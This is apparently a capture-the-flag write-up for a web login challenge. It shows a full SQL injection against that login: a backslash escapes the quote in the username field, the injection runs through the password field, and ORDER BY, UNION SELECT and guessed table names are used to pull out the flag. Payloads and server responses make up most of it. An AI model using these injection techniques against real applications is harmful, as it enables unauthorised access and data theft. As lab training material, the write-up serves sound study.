KCTF{0c259a70a089442a7e622d02bb5d911f}Challenge: Web Admin
URL: http://50.116.19.213:3000/
Flag: KCTF{0c259a70a089442a7e622d02bb5d911f}
The challenge presents a simple login page titled "Admin Dashboard".
View source reveals a standard HTML form POSTing to /login with username and password fields.
Checking robots.txt returned a 404.
I attempted standard SQL injection payloads on the username field (' OR 1=1 --). The server responded with HTTP 400 and the message "Not injectable", indicating a filter or WAF is in place blocking single quotes ' and potentially other characters.
I tested the behavior of backslashes. Sending username=\ caused a server error (HTTP 500) or weird behavior, suggesting the backslash might be escaping the closing quote of the SQL query.
If the backend query looks like:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
Sending username=\ transforms it to:
SELECT * FROM users WHERE username = '\' AND password = '...'
The backslash escapes the first closing single quote. The string meant for the username now consumes the AND password = part, until the next single quote (which starts the password value). This allows us to inject SQL via the password field.
Using the payload:
\OR 1=1 --This successfully logged me in as "admin", but didn't reveal the flag directly. It showed "Hello, admin Your CGPA is 2.00".
I enumerated the column count using ORDER BY.
ORDER BY 2 -> 200 OKORDER BY 3 -> 500 ErrorI tested UNION SELECT to see where output is reflected:
\AND 0 UNION SELECT 11111, 2 --The page displayed "Hello, 11111", confirming the first column is reflected.
I attempted to dump the database schema using information_schema.tables, but received the error "Uhuuu etooo boro!!".
Through fuzzing, I discovered a strict length limit on the password field:
This prevented long queries like SELECT group_concat(table_name) FROM information_schema.tables.
Since I couldn't dump schema info due to length limits, I guessed common table and column names.
Guessing Tables:
Payload: AND 0 UNION SELECT 1,2 FROM {table_name} --
users -> Exists (200 OK)flag -> Exists (200 OK)Guessing Columns in flag table:
Payload: AND 0 UNION SELECT {column},2 FROM flag --
flag -> Failedvalue -> Success!Reflecting the value column from the flag table:
\AND 0 UNION SELECT value,2 FROM flag --Response:
<main>
<h1>Admin Panel</h1>
<p>Hello, KCTF{0c259a70a089442a7e622d02bb5d911f} Your CGPA is 2.00</p>
...
</main>
Flag: KCTF{0c259a70a089442a7e622d02bb5d911f}